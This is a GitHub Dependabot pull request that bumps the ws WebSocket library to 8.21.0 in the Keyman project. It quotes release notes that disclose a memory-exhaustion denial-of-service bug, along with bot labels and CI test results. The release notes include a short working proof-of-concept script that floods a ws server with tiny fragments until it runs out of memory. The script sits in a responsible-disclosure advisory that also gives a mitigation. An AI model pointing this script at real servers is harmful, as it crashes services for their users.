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chore(deps): bump ws from 8.20.1 to 8.21.0#16104

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chore(deps): bump ws from 8.20.1 to 8.21.0#16104
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@dependabot dependabot Bot commented on behalf of github Jun 16, 2026

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Bumps ws from 8.20.1 to 8.21.0.

Release notes

Sourced from ws's releases.

8.21.0

Features

  • Introduced the maxBufferedChunks and maxFragments options (2b2abd45).

Bug fixes

  • Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).

A high volume of tiny fragments and data chunks could be sent by a peer, using modest network traffic, to crash a ws server or client due to OOM.

import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(ws://localhost:${port});
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(client close - code: ${code} reason: ${reason.toString()});
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(server close - code: ${code} reason: ${reason.toString()});
});
});

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

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Bumps [ws](https://github.com/websockets/ws) from 8.20.1 to 8.21.0.
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.20.1...8.21.0)

---
updated-dependencies:
- dependency-name: ws
  dependency-version: 8.21.0
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot Bot added dependencies Pull requests that update a dependency file javascript Pull requests that update javascript code labels Jun 16, 2026
@github-project-automation github-project-automation Bot moved this to Todo in Keyman Jun 16, 2026
@keymanapp-test-bot keymanapp-test-bot Bot added the user-test-missing User tests have not yet been defined for the PR label Jun 16, 2026
@keymanapp-test-bot

keymanapp-test-bot Bot commented Jun 16, 2026

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User Test Results

Test specification and instructions

ERROR: user tests have not yet been defined

Test Artifacts

  • Developer
    • Keyman Developer - build : all tests passed (no artifacts on BuildLevel "build")
    • Compiler Regression Tests - build : all tests passed (no artifacts on BuildLevel "build")
    • Keyman Developer (old PRs) - build : all tests passed (no artifacts on BuildLevel "build")
    • kmcomp.zip - build : all tests passed (no artifacts on BuildLevel "build")
    • kmcomp.zip (old PRs) - build : all tests passed (no artifacts on BuildLevel "build")
  • Keyboards
    • Test Keyboards - build : all tests passed (no artifacts on BuildLevel "build")

@keymanapp-test-bot keymanapp-test-bot Bot added this to the A19S31 milestone Jun 16, 2026
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